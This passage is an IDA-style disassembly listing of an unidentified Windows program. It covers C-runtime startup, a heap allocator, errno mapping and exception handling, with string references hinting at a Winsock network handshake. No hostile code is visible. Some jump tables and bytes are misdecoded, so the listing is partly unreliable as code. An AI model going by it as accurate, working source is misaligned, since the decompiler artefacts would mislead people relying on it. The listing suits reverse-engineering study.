jmp short loc_407994
; ---------------------------------------------------------------------------
loc_40797F: ; CODE XREF: sub_407910+14j
; sub_407910+4Fj ...
push ebx
call sub_4070F0
pop ecx
test esi, esi
jz short loc_407991
push esi
call sub_408240
pop ecx
loc_407991: ; CODE XREF: sub_407910+78j
or eax, 0FFFFFFFFh
loc_407994: ; CODE XREF: sub_407910+6Dj
pop edi
pop esi
pop ebx
pop ebp
retn
sub_407910 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4079A0 proc near ; CODE XREF: sub_40399A+1D7p
; sub_403C3F+39Fp ...
push ebx
call sub_409090
mov ebx, eax
test eax, eax
jnz short loc_4079B4
push 1
call sub_409190
pop ecx
loc_4079B4: ; CODE XREF: sub_4079A0+Aj
cmp dword ptr [ebx+4], 0FFFFFFFFh
jz short loc_4079C7
mov eax, [ebx+4]
push eax
call dword_411CF8 ; CloseHandle
loc_4079C7: ; CODE XREF: sub_4079A0+1Bj
push ebx
call sub_409100
pop ecx
push 0
call dword_411DA4 ; ExitThread
pop ebx
retn
sub_4079A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4079E0 proc near ; CODE XREF: sub_405870+DAp
; sub_405870+F1p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00407A66 SIZE 0000001B BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8A0
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 8
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 2
call sub_408740
pop ecx
mov [ebp+var_4], 0
jmp short loc_407A2C
; ---------------------------------------------------------------------------
loc_407A17: ; CODE XREF: sub_4079E0+53j
mov eax, dword_4111A0
lea edx, [eax+1]
mov dword_4111A0, edx
call dword_411060[eax*4]
loc_407A2C: ; CODE XREF: sub_4079E0+35j
cmp dword_4111A0, 50h
jb short loc_407A17
jmp short loc_407A49
; ---------------------------------------------------------------------------
loc_407A37: ; CODE XREF: sub_4079E0+70j
mov eax, dword_4111A4
dec eax
mov dword_4111A4, eax
call dword_411060[eax*4]
loc_407A49: ; CODE XREF: sub_4079E0+55j
cmp dword_4111A4, 0
jnz short loc_407A37
or [ebp+var_4], 0FFFFFFFFh
call sub_407A5D
jmp short loc_407A66
sub_4079E0 endp
; =============== S U B R O U T I N E =======================================
sub_407A5D proc near ; CODE XREF: sub_4079E0+76p
; DATA XREF: DMN0:0040F8A8o
push 2
call sub_4087C0
pop ecx
retn
sub_407A5D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4079E0
loc_407A66: ; CODE XREF: sub_4079E0+7Bj
mov eax, [ebp+arg_0]
push eax
call sub_409190
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4079E0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_407A90 proc near ; CODE XREF: sub_406485+1AAp
; sub_406485+1D9p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_409210
pop ecx
retn
sub_407A90 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407AA0 proc near ; DATA XREF: DMN1:00469EA2o starto
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8AC
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 50h
push ebx
push esi
push edi
mov [ebp+var_18], esp
push 2000000h
call sub_40AE30
pop ecx
mov dword_4117DC, eax
call sub_4085B0
test eax, eax
jnz short loc_407AE7
push 1
call sub_409190
pop ecx
loc_407AE7: ; CODE XREF: sub_407AA0+3Dj
call sub_408FD0
test eax, eax
jnz short loc_407AF8
push 1
call sub_409190
pop ecx
loc_407AF8: ; CODE XREF: sub_407AA0+4Ej
mov [ebp+var_4], 0
call sub_409240
call sub_4092A0
call sub_409710
call sub_4097B0
mov esi, offset dword_4101AC
jmp short loc_407B1F
; ---------------------------------------------------------------------------
loc_407B1A: ; CODE XREF: sub_407AA0+85j
call dword ptr [esi]
add esi, 4
loc_407B1F: ; CODE XREF: sub_407AA0+78j
cmp esi, offset dword_4101AC
jb short loc_407B1A
mov [ebp+var_30], 0
lea eax, [ebp+var_5C]
push eax
call dword_411DA8 ; GetStartupInfoA
push 0
call dword_411D6C ; GetModuleHandleA
mov [ebp+var_60], eax
call sub_409870
test byte ptr [ebp+var_30], 1
jz short loc_407B54
movzx esi, [ebp+var_2C]
jmp short loc_407B59
; ---------------------------------------------------------------------------
loc_407B54: ; CODE XREF: sub_407AA0+ACj
mov esi, 0Ah
loc_407B59: ; CODE XREF: sub_407AA0+B2j
push esi
push eax
push 0
mov eax, [ebp+var_60]
push eax
call sub_406C89
mov ebx, eax
mov edi, offset dword_4101AC
jmp short loc_407B74
; ---------------------------------------------------------------------------
loc_407B6F: ; CODE XREF: sub_407AA0+DAj
call dword ptr [edi]
add edi, 4
loc_407B74: ; CODE XREF: sub_407AA0+CDj
cmp edi, offset dword_4101AC
jb short loc_407B6F
push ebx
call sub_4079E0
pop ecx
jmp short loc_407BAD
; ---------------------------------------------------------------------------
mov eax, [ebp+var_14]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_1C], eax
mov eax, [ebp+var_14]
push eax
mov eax, [ebp+var_1C]
push eax
call sub_4091A0
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
mov eax, [ebp+var_1C]
push eax
call sub_409190
pop ecx
loc_407BAD: ; CODE XREF: sub_407AA0+E3j
or [ebp+var_4], 0FFFFFFFFh
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
sub_407AA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407BD0 proc near ; CODE XREF: sub_407E60+ECp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
add eax, 3
shr eax, 0Eh
shl eax, 0Eh
lea esi, [eax+4000h]
mov edi, esi
shl edi, 2
push edi
call sub_4098B0
pop ecx
mov [ebp+var_8], eax
test eax, eax
jnz short loc_407C0F
mov dword_4117E0, 0
xor eax, eax
jmp loc_407E4D
; ---------------------------------------------------------------------------
loc_407C0F: ; CODE XREF: sub_407BD0+2Cj
mov eax, dword_4127EC
mov edx, dword_4127E8
add eax, edx
cmp eax, [ebp+var_8]
jnz short loc_407C35
mov ebx, dword_4127E8
mov eax, dword_4127EC
add edi, eax
mov esi, edi
shr esi, 2
jmp short loc_407C42
; ---------------------------------------------------------------------------
loc_407C35: ; CODE XREF: sub_407BD0+4Fj
mov eax, [ebp+var_8]
mov ebx, eax
mov edx, ebx
sub edx, eax
mov eax, edx
sub edi, eax
loc_407C42: ; CODE XREF: sub_407BD0+63j
mov eax, esi
shl eax, 2
lea edx, [ebx+eax]
mov dword_4127E8, edx
mov edx, edi
sub edx, eax
mov eax, edx
mov dword_4127EC, eax
mov eax, dword_4111CC
add eax, 4
cmp ebx, eax
jnz short loc_407C74
cmp dword_4111D4, 0
jnz loc_407DE6
loc_407C74: ; CODE XREF: sub_407BD0+95j
mov eax, dword_4111D4
mov [ebp+var_C], eax
mov dword_4111D4, ebx
mov eax, [ebp+var_C]
mov [ebx], eax
add ebx, 4
dec esi
mov dword_4111CC, ebx
mov eax, dword_4111D0
test eax, eax
jz short loc_407C9E
cmp eax, ebx
jbe short loc_407CA4
loc_407C9E: ; CODE XREF: sub_407BD0+C8j
mov dword_4111D0, ebx
loc_407CA4: ; CODE XREF: sub_407BD0+CCj
mov eax, esi
or eax, 80000000h
mov [ebx], eax
mov eax, dword_4111CC
lea eax, [eax+esi*4-4]
mov dword_4111CC, eax
mov edx, dword_4111CC
mov eax, esi
or eax, 80000000h
mov [edx], eax
sub esi, 2
add ebx, 4
mov eax, dword_4111CC
lea ebx, [eax-4]
cmp esi, dword_4111E4
ja short loc_407D12
cmp esi, dword_4111DC
ja short loc_407CFA
mov eax, dword_4111D8
cmp esi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_407D0D
; ---------------------------------------------------------------------------
loc_407CFA: ; CODE XREF: sub_407BD0+116j
mov eax, dword_4111E0
cmp esi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_407D0D: ; CODE XREF: sub_407BD0+128j
mov eax, [ebp+var_10]
jmp short loc_407D42
; ---------------------------------------------------------------------------
loc_407D12: ; CODE XREF: sub_407BD0+10Ej
cmp esi, dword_4111EC
ja short loc_407D2F
mov eax, dword_4111E8
cmp esi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_407D42
; ---------------------------------------------------------------------------
loc_407D2F: ; CODE XREF: sub_407BD0+148j
mov eax, dword_4111F0
cmp esi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_407D42: ; CODE XREF: sub_407BD0+140j
; sub_407BD0+15Dj
mov eax, [ebp+var_10]
mov dword_4111FC, eax
mov eax, dword_4111FC
mov eax, dword_4111A8[eax*4]
mov [ebp+var_18], eax
test eax, eax
jnz short loc_407D88
mov [ebp+var_14], ebx
mov [ebp+var_18], ebx
mov eax, dword_4111FC
mov dword_4111A8[eax*4], ebx
mov eax, dword_4111FC
cmp dword_4111F8, eax
jle short loc_407D91
mov eax, dword_4111FC
mov dword_4111F8, eax
jmp short loc_407D91
; ---------------------------------------------------------------------------
loc_407D88: ; CODE XREF: sub_407BD0+18Bj
mov eax, [ebp+var_18]
mov eax, [eax-8]
mov [ebp+var_14], eax
loc_407D91: ; CODE XREF: sub_407BD0+1AAj
; sub_407BD0+1B6j
mov eax, [ebp+var_18]
mov [ebx-4], eax
mov edx, [ebp+var_18]
mov [edx-8], ebx
mov edx, [ebp+var_14]
mov [edx-4], ebx
mov eax, [ebp+var_14]
mov [ebx-8], eax
mov eax, esi
shl eax, 2
mov edx, ebx
sub edx, eax
mov [edx+4], esi
mov [ebx], esi
mov eax, dword_4111FC
mov dword_4111A8[eax*4], ebx
jmp short loc_407DCB
; ---------------------------------------------------------------------------
loc_407DC5: ; CODE XREF: sub_407BD0+20Dj
inc dword_4111F8
loc_407DCB: ; CODE XREF: sub_407BD0+1F3j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_407DDF
cmp eax, 7
jl short loc_407DC5
loc_407DDF: ; CODE XREF: sub_407BD0+208j
mov eax, 1
jmp short loc_407E4D
; ---------------------------------------------------------------------------
loc_407DE6: ; CODE XREF: sub_407BD0+9Ej
add ebx, 0FFFFFFFCh
mov eax, [ebx]
and eax, 7FFFFFFFh
add eax, esi
mov [ebp+var_4], eax
mov eax, esi
or eax, 80000000h
mov [ebx], eax
mov eax, dword_4111CC
lea eax, [eax+esi*4]
mov dword_4111CC, eax
mov edx, dword_4111CC
mov eax, [ebx]
mov [edx-4], eax
mov edx, dword_4111CC
mov eax, [ebp+var_4]
or eax, 80000000h
mov [edx], eax
mov eax, [ebp+var_4]
mov edx, dword_4111CC
mov ecx, eax
shl ecx, 2
sub edx, ecx
or eax, 80000000h
mov [edx+4], eax
lea eax, [ebx+4]
push eax
call sub_4070F0
pop ecx
mov eax, 1
loc_407E4D: ; CODE XREF: sub_407BD0+3Aj
; sub_407BD0+214j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_407BD0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_407E60 proc near ; CODE XREF: sub_4081A0+4Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
xor ebx, ebx
mov eax, [ebp+arg_0]
add eax, 3
shr eax, 2
lea esi, [eax+2]
cmp esi, 4
jnb short loc_407E81
mov esi, 4
loc_407E81: ; CODE XREF: sub_407E60+1Aj
xor edi, edi
cmp esi, dword_4111E4
ja short loc_407EBD
cmp esi, dword_4111DC
ja short loc_407EA5
mov eax, dword_4111D8
cmp esi, eax
setnbe al
and eax, 1
mov [ebp+var_10], eax
jmp short loc_407EB8
; ---------------------------------------------------------------------------
loc_407EA5: ; CODE XREF: sub_407E60+31j
mov eax, dword_4111E0
cmp esi, eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_10], eax
loc_407EB8: ; CODE XREF: sub_407E60+43j
mov eax, [ebp+var_10]
jmp short loc_407EED
; ---------------------------------------------------------------------------
loc_407EBD: ; CODE XREF: sub_407E60+29j
cmp esi, dword_4111EC
ja short loc_407EDA
mov eax, dword_4111E8
cmp esi, eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_10], eax
jmp short loc_407EED
; ---------------------------------------------------------------------------
loc_407EDA: ; CODE XREF: sub_407E60+63j
mov eax, dword_4111F0
cmp esi, eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_10], eax
loc_407EED: ; CODE XREF: sub_407E60+5Bj
; sub_407E60+78j
mov eax, [ebp+var_10]
mov [ebp+var_C], eax
mov eax, dword_4111F8
cmp [ebp+var_C], eax
jge short loc_407F3D
mov eax, dword_4111F8
mov [ebp+var_C], eax
jmp short loc_407F3D
; ---------------------------------------------------------------------------
loc_407F07: ; CODE XREF: sub_407E60+E5j
mov eax, [ebp+var_C]
lea edx, [eax+1]
mov [ebp+var_C], edx
mov eax, dword_4111A8[eax*4]
mov ebx, eax
test eax, eax
jz short loc_407F3D
mov eax, dword_4111CC
add eax, 0FFFFFFFCh
cmp ebx, eax
jnz short loc_407F2C
mov ebx, [ebx-4]
loc_407F2C: ; CODE XREF: sub_407E60+C7j
mov [ebp+var_4], ebx
loc_407F2F: ; CODE XREF: sub_407E60+DBj
mov edi, [ebx]
cmp edi, esi
jnb short loc_407F3D
mov ebx, [ebx-4]
cmp ebx, [ebp+var_4]
jnz short loc_407F2F
loc_407F3D: ; CODE XREF: sub_407E60+9Bj
; sub_407E60+A5j ...
cmp edi, esi
jnb short loc_407F47
cmp [ebp+var_C], 8
jl short loc_407F07
loc_407F47: ; CODE XREF: sub_407E60+DFj
cmp edi, esi
jnb short loc_407F6D
push esi
call sub_407BD0
pop ecx
test eax, eax
jz loc_408197
mov eax, dword_4111FC
mov [ebp+var_C], eax
mov ebx, dword_4111A8[eax*4]
mov edi, [ebx]
jmp short loc_407F76
; ---------------------------------------------------------------------------
loc_407F6D: ; CODE XREF: sub_407E60+E9j
cmp [ebp+var_C], 0
jle short loc_407F76
dec [ebp+var_C]
loc_407F76: ; CODE XREF: sub_407E60+10Bj
; sub_407E60+111j
mov eax, edi
sub eax, esi
mov [ebp+var_14], eax
cmp eax, 4
jb loc_4080FF
mov eax, dword_4111E4
cmp [ebp+var_14], eax
ja short loc_407FC6
mov eax, dword_4111DC
cmp [ebp+var_14], eax
ja short loc_407FAD
mov eax, dword_4111D8
cmp [ebp+var_14], eax
setnbe al
and eax, 1
mov [ebp+var_1C], eax
jmp short loc_407FC1
; ---------------------------------------------------------------------------
loc_407FAD: ; CODE XREF: sub_407E60+138j
mov eax, dword_4111E0
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 2
mov [ebp+var_1C], eax
loc_407FC1: ; CODE XREF: sub_407E60+14Bj
mov eax, [ebp+var_1C]
jmp short loc_407FFA
; ---------------------------------------------------------------------------
loc_407FC6: ; CODE XREF: sub_407E60+12Ej
mov eax, dword_4111EC
cmp [ebp+var_14], eax
ja short loc_407FE6
mov eax, dword_4111E8
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 4
mov [ebp+var_1C], eax
jmp short loc_407FFA
; ---------------------------------------------------------------------------
loc_407FE6: ; CODE XREF: sub_407E60+16Ej
mov eax, dword_4111F0
cmp [ebp+var_14], eax
setnbe al
and eax, 1
add eax, 6
mov [ebp+var_1C], eax
loc_407FFA: ; CODE XREF: sub_407E60+164j
; sub_407E60+184j
mov eax, [ebp+var_1C]
mov [ebp+var_18], eax
mov eax, [ebp+var_C]
cmp [ebp+var_18], eax
jz loc_4080EC
mov eax, [ebx-4]
mov [ebp+var_20], eax
cmp ebx, [ebp+var_20]
jnz short loc_40804E
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_40807F
jmp short loc_408038
; ---------------------------------------------------------------------------
loc_408032: ; CODE XREF: sub_407E60+1EAj
inc dword_4111F8
loc_408038: ; CODE XREF: sub_407E60+1D0j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_40804C
cmp eax, 7
jl short loc_408032
loc_40804C: ; CODE XREF: sub_407E60+1E5j
jmp short loc_40807F
; ---------------------------------------------------------------------------
loc_40804E: ; CODE XREF: sub_407E60+1B5j
mov eax, [ebx-8]
mov [ebp+var_24], eax
mov edx, [ebp+var_24]
mov eax, [ebp+var_20]
mov [edx-4], eax
mov edx, [ebp+var_20]
mov eax, [ebp+var_24]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_40807F
mov eax, [ebp+var_C]
mov edx, [ebp+var_24]
mov dword_4111A8[eax*4], edx
loc_40807F: ; CODE XREF: sub_407E60+1CEj
; sub_407E60:loc_40804Cj ...
mov eax, [ebp+var_18]
mov eax, dword_4111A8[eax*4]
mov [ebp+var_24], eax
test eax, eax
jnz short loc_4080B5
mov [ebp+var_20], ebx
mov [ebp+var_24], ebx
mov eax, [ebp+var_18]
mov dword_4111A8[eax*4], ebx
mov eax, [ebp+var_18]
cmp dword_4111F8, eax
jle short loc_4080BE
mov eax, [ebp+var_18]
mov dword_4111F8, eax
jmp short loc_4080BE
; ---------------------------------------------------------------------------
loc_4080B5: ; CODE XREF: sub_407E60+22Ej
mov eax, [ebp+var_24]
mov eax, [eax-8]
mov [ebp+var_20], eax
loc_4080BE: ; CODE XREF: sub_407E60+249j
; sub_407E60+253j
mov eax, [ebp+var_24]
mov [ebx-4], eax
mov edx, [ebp+var_24]
mov [edx-8], ebx
mov edx, [ebp+var_20]
mov [edx-4], ebx
mov eax, [ebp+var_20]
mov [ebx-8], eax
mov eax, [ebp+var_14]
mov edx, eax
shl edx, 2
mov ecx, ebx
sub ecx, edx
mov [ecx+4], eax
mov [ebx], eax
jmp loc_408174
; ---------------------------------------------------------------------------
loc_4080EC: ; CODE XREF: sub_407E60+1A6j
mov eax, [ebp+var_14]
mov edx, eax
shl edx, 2
mov ecx, ebx
sub ecx, edx
mov [ecx+4], eax
mov [ebx], eax
jmp short loc_408174
; ---------------------------------------------------------------------------
loc_4080FF: ; CODE XREF: sub_407E60+120j
mov eax, [ebx-4]
mov [ebp+var_1C], eax
cmp ebx, [ebp+var_1C]
jnz short loc_408141
mov eax, [ebp+var_C]
mov dword_4111A8[eax*4], 0
mov eax, [ebp+var_C]
cmp dword_4111F8, eax
jnz short loc_408172
jmp short loc_40812B
; ---------------------------------------------------------------------------
loc_408125: ; CODE XREF: sub_407E60+2DDj
inc dword_4111F8
loc_40812B: ; CODE XREF: sub_407E60+2C3j
mov eax, dword_4111F8
cmp dword_4111A8[eax*4], 0
jnz short loc_40813F
cmp eax, 7
jl short loc_408125
loc_40813F: ; CODE XREF: sub_407E60+2D8j
jmp short loc_408172
; ---------------------------------------------------------------------------
loc_408141: ; CODE XREF: sub_407E60+2A8j
mov eax, [ebx-8]
mov [ebp+var_20], eax
mov edx, [ebp+var_20]
mov eax, [ebp+var_1C]
mov [edx-4], eax
mov edx, [ebp+var_1C]
mov eax, [ebp+var_20]
mov [edx-8], eax
mov eax, [ebp+var_C]
cmp ebx, dword_4111A8[eax*4]
jnz short loc_408172
mov eax, [ebp+var_C]
mov edx, [ebp+var_20]
mov dword_4111A8[eax*4], edx
loc_408172: ; CODE XREF: sub_407E60+2C1j
; sub_407E60:loc_40813Fj ...
mov esi, edi
loc_408174: ; CODE XREF: sub_407E60+287j
; sub_407E60+29Dj
mov eax, edi
shl eax, 2
mov edx, ebx
sub edx, eax
lea eax, [edx+4]
mov [ebp+var_8], eax
mov edx, esi
or edx, 80000000h
mov [eax+esi*4-4], edx
mov [eax], edx
mov eax, [ebp+var_8]
add eax, 4
loc_408197: ; CODE XREF: sub_407E60+F4j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_407E60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4081A0 proc near ; CODE XREF: sub_406D40+Dp
; sub_407910+Ap ...
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
; FUNCTION CHUNK AT 00408207 SIZE 00000038 BYTES
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_40F8BC
push offset sub_4083B8
push large dword ptr fs:0
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov [ebp+var_1C], 0
mov eax, dword_4117E0
cmp [ebp+arg_0], eax
jnb short loc_408207
push 0
call sub_408740
pop ecx
mov [ebp+var_4], 0
mov eax, [ebp+arg_0]
push eax
call sub_407E60
pop ecx
mov [ebp+var_1C], eax
or [ebp+var_4], 0FFFFFFFFh
call sub_4081FE
jmp short loc_408207
sub_4081A0 endp
; =============== S U B R O U T I N E =======================================
sub_4081FE proc near ; CODE XREF: sub_4081A0+57p
; DATA XREF: DMN0:0040F8C4o
push 0
call sub_4087C0
pop ecx
retn
sub_4081FE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4081A0
loc_408207: ; CODE XREF: sub_4081A0+35j
; sub_4081A0+5Cj
cmp [ebp+var_1C], 0
jnz short loc_40821A
mov eax, [ebp+arg_0]
push eax
call sub_4085F0
pop ecx
mov [ebp+var_1C], eax
loc_40821A: ; CODE XREF: sub_4081A0+6Bj
cmp [ebp+var_1C], 0
jnz short loc_40822B
call sub_4083A0
mov dword ptr [eax], 0Ch
loc_40822B: ; CODE XREF: sub_4081A0+7Ej
mov eax, [ebp+var_1C]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_10]
mov large fs:0, ecx
mov esp, ebp
pop ebp
retn
; END OF FUNCTION CHUNK FOR sub_4081A0
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_408240 proc near ; CODE XREF: sub_407910+7Bp
; sub_408D80+80p ...
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
cmp ebx, 91h
jz loc_408312
jg short loc_40829D
cmp ebx, 50h
jl short loc_408264
cmp ebx, 59h
jg short loc_408275
jmp dword ptr aProtorecvDataS+3[ebx*4]
; ---------------------------------------------------------------------------
loc_408264: ; CODE XREF: sub_408240+16j
cmp ebx, 1
jl short loc_4082E2
cmp ebx, 43h
jg short loc_4082E2
jmp off_40F8EC[ebx*4]
; ---------------------------------------------------------------------------
loc_408275: ; CODE XREF: sub_408240+1Bj
cmp ebx, 6Ch
jl short loc_4082E2
cmp ebx, 72h
jg short loc_408286
jmp dword ptr a02i02i02iIIIS+6[ebx*4]
; ---------------------------------------------------------------------------
loc_408286: ; CODE XREF: sub_408240+3Dj
cmp ebx, 80h
jl short loc_4082E2
cmp ebx, 84h
jg short loc_4082E2
jmp dword ptr aWinsock2_xInit+0Eh[ebx*4]
; ---------------------------------------------------------------------------
loc_40829D: ; CODE XREF: sub_408240+11j
cmp ebx, 0A4h
jz short loc_40831F
cmp ebx, 0A7h
jz short loc_408312
jg short loc_4082C1
cmp ebx, 9Eh
jz short loc_408312
cmp ebx, 0A1h
jz short loc_4082F2
jmp short loc_4082E2
; ---------------------------------------------------------------------------
loc_4082C1: ; CODE XREF: sub_408240+6Dj
cmp ebx, 0B7h
jl short loc_4082E2
cmp ebx, 0D7h
jg short loc_4082D8
jmp dword ptr aHandshakeBadPa[ebx*4] ; "Handshake: bad packed (%i)\n"
; ---------------------------------------------------------------------------
loc_4082D8: ; CODE XREF: sub_408240+8Fj
cmp ebx, 718h
jz short loc_408302
jmp short $+2
loc_4082E2: ; CODE XREF: sub_408240+27j
; sub_408240+2Cj ...
call sub_4083A0
mov dword ptr [eax], 16h
jmp loc_408392
; ---------------------------------------------------------------------------
loc_4082F2: ; CODE XREF: sub_408240+2Ej
; sub_408240+7Dj ...
call sub_4083A0
mov dword ptr [eax], 2
jmp loc_408392
; ---------------------------------------------------------------------------
loc_408302: ; CODE XREF: sub_408240+2Ej
; sub_408240+9Ej ...
call sub_4083A0
mov dword ptr [eax], 0Ch
jmp loc_408392
; ---------------------------------------------------------------------------
loc_408312: ; CODE XREF: sub_408240+Bj
; sub_408240+2Ej ...
call sub_4083A0
mov dword ptr [eax], 0Dh
jmp short loc_408392
; ---------------------------------------------------------------------------
loc_40831F: ; CODE XREF: sub_408240+2Ej
; sub_408240+63j ...
call sub_4083A0
mov dword ptr [eax], 0Bh
jmp short loc_408392
; ---------------------------------------------------------------------------
loc_40832C: ; CODE XREF: sub_408240+2Ej
; sub_4491C1+2Ej
; DATA XREF: ...
call sub_4083A0
mov dword ptr [eax], 11h
jmp short loc_408392
; ---------------------------------------------------------------------------
loc_408339: ; CODE XREF: sub_408240+2Ej
; sub_4491C1+2Ej
; DATA XREF: ...
call sub_4083A0
mov dword ptr [eax], 9
jmp short loc_408392
; ---------------------------------------------------------------------------
loc_408346: ; CODE XREF: sub_408240+2Ej
; sub_4491C1+2Ej
; DATA XREF: ...
call sub_4083A0
mov dword ptr [eax], 0Ah
jmp short loc_408392
; ---------------------------------------------------------------------------
loc_408353: ; CODE XREF: sub_408240+2Ej
; sub_4491C1+2Ej
; DATA XREF: ...
call sub_4083A0
mov dword ptr [eax], 8
jmp short loc_408392
; ---------------------------------------------------------------------------
loc_408360: ; CODE XREF: sub_408240+2Ej
; sub_4491C1+2Ej
; DATA XREF: ...
call sub_4083A0
mov dword ptr [eax], 18h
jmp short loc_408392
; ---------------------------------------------------------------------------
loc_40836D: ; CODE XREF: sub_408240+2Ej
; sub_4491C1+2Ej
; DATA XREF: ...
call sub_4083A0
mov dword ptr [eax], 1Ch
jmp short loc_408392
; ---------------------------------------------------------------------------
loc_40837A: ; CODE XREF: sub_408240+2Ej
; sub_4491C1+2Ej
; DATA XREF: ...
call sub_4083A0
mov dword ptr [eax], 20h
jmp short loc_408392
; ---------------------------------------------------------------------------
loc_408387: ; CODE XREF: sub_408240+2Ej
; sub_4491C1+2Ej
; DATA XREF: ...
call sub_4083A0
mov dword ptr [eax], 12h
loc_408392: ; CODE XREF: sub_408240+ADj
; sub_408240+BDj ...
pop ebx
retn
sub_408240 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4083A0 proc near ; CODE XREF: sub_406D70+1Bp
; sub_4081A0+80p ...
call sub_409090
add eax, 8
retn
sub_4083A0 endp
; ---------------------------------------------------------------------------
align 10h
push esi
inc ebx
xor dh, [eax]
pop eax
inc ebx
xor [eax], dh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4083B8 proc near ; DATA XREF: sub_4070F0+Ao
; sub_407300+Ao ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
cld
mov ebx, [ebp+arg_4]
mov eax, [ebp+arg_0]
test dword ptr [eax+4], 6
jnz short loc_40844D
mov [ebp+var_8], eax
mov eax, [ebp+arg_8]
mov [ebp+var_4], eax
lea eax, [ebp+var_8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_4083E7: ; CODE XREF: sub_4083B8+8Cj
cmp esi, 0FFFFFFFFh
jz short loc_40845D
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_40843B
push esi
push ebp
lea ebp, [ebx+10h]
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+arg_4]
test eax, eax
jz short loc_40843B
js short loc_408446
mov edi, [ebx+8]
push ebx
call sub_408490
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_4084E0
add esp, 8
lea ecx, [esi+esi*2]
push 1
mov eax, [edi+ecx*4+8]
call sub_408589
mov eax, [edi+ecx*4]
mov [ebx+0Ch], eax
call dword ptr [edi+ecx*4+8]
loc_40843B: ; CODE XREF: sub_4083B8+3Cj
; sub_4083B8+4Ej
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp short loc_4083E7
; ---------------------------------------------------------------------------
loc_408446: ; CODE XREF: sub_4083B8+50j
mov eax, 0
jmp short loc_408462
